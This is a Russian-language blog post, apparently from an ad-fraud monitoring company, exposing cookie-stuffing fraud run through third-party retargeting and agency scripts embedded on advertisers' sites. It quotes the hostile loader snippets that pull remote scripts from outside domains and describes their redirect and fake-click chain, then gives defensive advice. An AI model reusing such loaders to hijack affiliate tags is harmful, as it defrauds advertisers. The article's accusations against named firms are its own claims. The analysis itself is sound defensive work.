Получить консультацию
Укажите контактную информацию
Отправляя форму, даю согласие на обработку своих персональных данных в соответствии с Политикой конфиденциальности
  • /
  • /

Враг внутри. О рисках размещения сторонних скриптов на сайте рекламодателя

Опубликовано 05 ноября 2019
Фрод (от англ. fraud «мошенничество») — вид мошенничества в области информационных технологий, в частности, несанкционированные действия и неправомочное пользование ресурсами и услугами в сетях связи (Википедия)

Чаще всего фрод в рекламе приходит извне: расширения и/или вирусы подменяют партнерские метки по CPA, мобильные приложения скручивают показы по CPM, биржи мотивированного трафика устанавливают приложения по CPI и скликивают рекламу по CPC.

К внешнему фроду все привыкли и более или менее с ним борются. Но есть и другая сторона – более опасная – когда источником фрода становится ваш собственный сайт.

Мы в Admon каждый день анализируем миллионы событий на сайтах партнеров и подготовили примеры скриптов, которые возможно прямо сейчас ведут мошенническую деятельность на вашем сайте.

Масштабы угрозы довольно существенные, так как она уже затрагивает сотни сайтов в Рунете, включая крупнейших рекламодателей в CPA.
История:
Недавно к нашему сервису по мониторингу качества рекламы подключился крупный интернет-магазин. Первые несколько дней уровень фрода был обычным, пока не начались майские праздники.

В первый выходной мы получили более сотни подобных событий:

1. Переход на сайт с рекламы CPC или органический трафик
2. Редирект на ту же страницу менее чем через 10 секунд, но уже с партнерскими метками CPA.
Это — кукистаффинг.

Первым делом мы искали какие-то внешние причины и собирали Id вебмастеров CPA сетей для блокировки, клиент новый – статистики по фроду пока немного.

Далее мы обратили внимание на такие же переходы с устройств, где крайне редко проявляется кукистафинг, обусловленный внешними источниками (расширениями и вирусами на самих устройствах).

Например, переходы случались со схожей частой и на iphone с мобильным подключением и на других платформах. Конечно, если у вас iphone, мобильный интернет и хороший браузер — это не значит, что там не может быть внешнего кукистафига, но вероятность и, соответственно, доля таких событий в общем трафике на порядок ниже.

В итоге появилось предположение о проблеме в коде самого сайта, которое и подтвердилось.
Пример 1
Сайт подключает себе код ретаргетинга, например:

https://cdn.admitad.com/static/js/retag.min.js?r=11

https://cdn.admitad.com/static/js/retag.js?r=11

https://cdn.lenmit.com/static/js/retag.js?r=11

При этом Admitad разрешает загружать коды вебмастеров. Конечно, СРА-сети должны проверять такие скрипты, но мошенники хорошо маскируют свой код и он выглядит как обычный код ретаргетинга.
Код вебмастера:
<script type=\»text\/javascript\»>

        var _adrx = [{customer:68,page:’category’,checksum:’f6f7b3′}];

       _adrx.push({category:{id:’KATEGORIE-ID’}});

      !function(e,t,a,c,n){

      c=e.createElement(t),c.async=1,c.src=a,n=e.getElementsByTagName(t)
[0],n.parentNode.insertBefore(c,n);

      }(document,’script’,’https:\/\/ad.53rv3r.com\/track_js.php?
t=’+Math.random().toString().substring(5,15));

</script>
Далее происходит цепочка переходов и вызовов:

1. https://cdn.lenmit.com/static/js/retag.js?r=11
2. Запрос кодов ретаргетинга с https://z.lenmit.com/retag/tags/?code=
3. https://ad.53rv3r.com/track.php?t= — этот код вставляет картинку как скрипт:

!function(e,c) c=e.createElement(«script»),c.src — https://imgcdn01.com/152603830.jpg»,e.head.appendChild(c)}(document);

4. https://imgcdn01.com/152602030.jpg — шифрованный скрипт, который маскируется под картинку
5. https://ad.53rv3r.com/ad.php — фрейм, который маскируется под рекламный блок
6. https://imgcdn01.com/152602031.jpg — шифрованный скрипт, который маскируется под картинку и который «кликает» по баннеру
7. https://ad.53rv3r.com/click.php — переход на реферальную ссылку и переход на сайт, где установлен код ретаргетинга

Мы уже сообщили Admitad о найденном коде. И по их словам данные вебмастера уже забанены с минимальным ущербом для рекламодателей.
Пример 2
Сайт подключает код рекламного агентства, которое оптимизирует CPA канал.

http://code.acstat.com/ (без реферера там пусто – код можно посмотреть в консоли на сайте 220-volt.ru, например)

По коду это — агентство AdvCake, которое также продвигает себя как антифрод решение. Но в данном случае фрод происходит именно из-за кода, который они сами поставили на сайт рекламодателя.

В самом низу можно найти такую вставку:
//Advertise pixel

(function () {

   var src = ‘//qtstat.com/retag.js’;

   var s = document.createElement( ‘script’ );

   s.setAttribute( ‘src’, src );

   s.setAttribute(‘async’,’true’);

   s.setAttribute(‘type’,’text/javascript’);

   document.body.appendChild( s );

})();
Далее код вставляет скрипт http://pdstrack.com/o/220volt/a.php?r= , который большую часть времени притворяется счетчиком и возвращает безобидный код
__adaq.sc(«__srqat»,1,{expires:, domain: «.220-volt.ru», path: «/»})
Но время от времени, с заданной частотой, этот код мутирует в:

__adaq.sc(«__srqat»,3,{expires:, domain: «».220-volt.ru «, path: «/»})

   var src = ‘//retag.pw/o/220volt/retag.php?u=

   var s = document.createElement( ‘script’ );

   s.setAttribute( ‘src’, src );

   s.setAttribute(‘async’,’true’);

   s.setAttribute(‘type’,’text/javascript’);

   document.body.appendChild( s );
Далее происходит редирект или создание iframe – с целью заменить реферальные метки.

В итоге агентство хорошо отчитывается по-своим KPI, так как конверсии по CPA выросли, а Рекламодатель теряет деньги, так как платит или за органику, или за трафик, который уже оплатил.

Коды из примеров выше можно найти на сайтах, которые работают с CPA с Admitad, Actionpay и AdvCake.

Вот всего несколько примеров:

chitai-gorod.ru, 220-volt.ru, printio.ru, lacoste.ru, avtocod.ru, mediamarkt.ru, tutu.ru, auchan.ru, planeta-sport.ru, c-store.ru, topbrands.ru, mamsy.ru, nyxcosmetic.ru, piter.mosmexa.ru, ostin.com, beautydiscount.ru, vselaki.ru, 123.ru, vichyconsult.ru и тд. Их больше ста!

Мы не будем утверждать, что на каждом сайте из этого списка данные скрипты фродят, но приведем для примера видео нашего логера для сайта mediamarkt.ru
Надеемся, что с выходом этой статьи ситуация изменится к лучшему.
Почему такое происходит
Владельцы сайта или менеджеры, отвечающие за рекламу и установку кодов на сайте, не всегда понимают опасность размещения внешних скриптов в коде страницы.

Владельцы сайта доверяют нечистым на руку или некомпетентным подрядчикам.

Мошенники не стоят на месте и, если где-то поток легких денег иссяк — бегут вперед, придумывая новые способы наживы.
Что делать
1. Критически относится к скриптам, которые просят разместить рекламные компании и агентства (даже крупные), так как у них всегда есть мотив заработать больше, добавив незаметный переход по своей реферальной ссылке
2. Давать доступ к размещению скриптов и пикселей только надёжным и компетентным сотрудникам
3. Настроить и использовать на своем сайте такие технические решения как:
content security policy (CSP) , X-Frame-Options, X-Content-Type-Options, X-XSS-Protection и другие — будем рады проконсультировать, обращайтесь!
4. Собирать и анализировать логи ошибок и сообщения в консоли на сайте

Если сами не можете оценить безопасность скриптов, обратитесь к известным компаниям по антифроду, которые параллельно не являются рекламными агентствами. Так вы сможете избежать лишнего конфликта интересов на стороне подрядчика.

Если сами оцениваете код, то вот вам общее правило:

Код можно считать безопасным, если это — статичный код, не обфусцированный и не зашифрованный – собирает понятные данные и отправляет их параметрами к картинке (пиксель).

Сколько денег потеряли рекламодатели?
На этот вопрос сложно дать точный ответ, так как id вебмастеров постоянно меняются, при этом используются даже разные СРА-сети.
Заключение
Мы всегда открыты к сотрудничеству с упомянутыми в статье компаниями и сайтами и готовы предоставить по запросу имеющиеся доказательства — стеки переходов, видео (по возможности).

Но скорее всего после выхода этой статьи кейсы магическим образом прекратят работать, так как управление поведением происходит на внешнем сервере.
Chief Technical Officer
Другие статьи в блоге